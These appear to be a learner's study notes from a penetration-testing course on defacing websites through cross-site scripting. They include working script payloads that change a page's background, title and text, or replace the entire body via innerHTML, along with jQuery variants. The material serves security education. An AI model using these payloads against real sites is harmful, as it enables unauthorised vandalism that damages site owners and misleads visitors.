DMG and scope of an xss atk depends on the type of XSS
- stored xss most critical
- dom based less critical
Common attack with xss vulnerability is defacing:
- changing look for anyone who visits
- common for hacker groups to deface a website to claim they successfully hacked it (UK NHS 2018)
defacing a website with xss
defacing a website is usually used to send a simple message (i.e., we successfully hacked you), so giving the defaced web page a beautiful look isn't really the primary target.
Three HTML elements are usually utilized to change the main look of a web page:
- Background Color
document.body.style.background - Background
document.body.background - Page Title
document.title - Page Text
DOM.innerHTML
changing background:
<script>document.body.style.background = "#141d2b"</script>
set an image to background
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
changing page title:
<script>document.title = 'HackTheBox Academy'</script>
changing page text:
document.getElementById("todo").innerHTML = "New Text"
where todo is dom object
we can also utilize jquery functions for more efficiently achieving the same thing or for changing text of multiple elements in one line
$("#todo").html('New Text');
requires jquery library imported within page source
**change entire html code of main body using innerhtml **
document.getElementsByTagName('body')[0].innerHTML = "New Text"
body element specified with doc.getelement and specifying [0] -> selecting first body element (change entire text of web page)
jquery can do this too
before sending payload + makking perm change, prepare html code separately and use innerHTML to set html code to page source